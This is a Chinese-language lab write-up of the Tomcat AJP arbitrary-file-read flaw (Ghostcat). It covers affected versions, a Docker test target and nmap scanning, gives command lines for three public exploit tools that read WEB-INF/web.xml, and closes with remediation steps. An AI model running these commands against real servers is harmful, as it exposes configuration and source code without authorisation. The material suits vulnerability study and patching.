头图:https://cdn.naraku.cn/imgs/Leak/AJP/AJP-0.jpg
摘要:年初刷爆EduSRC的Tomcat漏洞。

漏洞介绍

Tomcat在server.xml中配置了两种连接器:

  • HTTP Connector:监听8080端口,负责建立HTTP连接。在通过浏览器访问Tomcat服务器的Web应用时,使用的就是这个连接器。
  • AJP Connector:监听8009端口,负责和其他的HTTP服务器建立连接,通过AJP协议和另一个Web容器进行交互。

Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。而Tomcat服务器8009端口上的AJP协议存在漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件,如:webapp配置文件或源代码等

影响版本

  • Apache Tomcat 6
  • Apache Tomcat 7 < 7.0.100
  • Apache Tomcat 8 < 8.5.51
  • Apache Tomcat 9 < 9.0.31

    漏洞复现

    靶场搭建

  • 这里使用Docker部署环境。搜索受影响版本的Tomcat的镜像,这里选择Tomcat-8.5.32

    1. $ docker search tomcat-8.5
    2. $ docker pull duonghuuphuc/tomcat-8.5.32

    实习记录(五) - AJP协议文件读取漏洞 - 图1

  • 拉取完成后运行,并通过浏览器访问http://<靶场IP>:8080

    1. $ docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32
  • Nmap扫描

    1. $ nmap <靶场IP>

    实习记录(五) - AJP协议文件读取漏洞 - 图2

    AjpShooter

    1. $ python ajpShooter.py http://<靶场IP> 8080 WEB-INF/web.xml read

    实习记录(五) - AJP协议文件读取漏洞 - 图3

    Ghostcat

    1. $ python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py <靶场IP> -p 8009 -f WEB-INF/web.xml

    实习记录(五) - AJP协议文件读取漏洞 - 图4

    AJPy

    1. $ python tomcat.py --port <port> version <IP> # 版本探测
    2. $ python tomcat.py read_file --webapp=manager /WEB-INF/web.xml <地址> # 文件读取

    实习记录(五) - AJP协议文件读取漏洞 - 图5

    修复建议

  • 更新Tomcat到安全版本

    • Apache Tomcat 7.0.100
    • Apache Tomcat 8.5.51
    • Apache Tomcat 9.0.31
  • 关闭AJP:编辑 Tomcat 配置文件conf/server.xml,找到如下行并将其注释,然后保存配置文件并重新启动Tomcat

    1. <Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />

    其它

  • 参考

  • 工具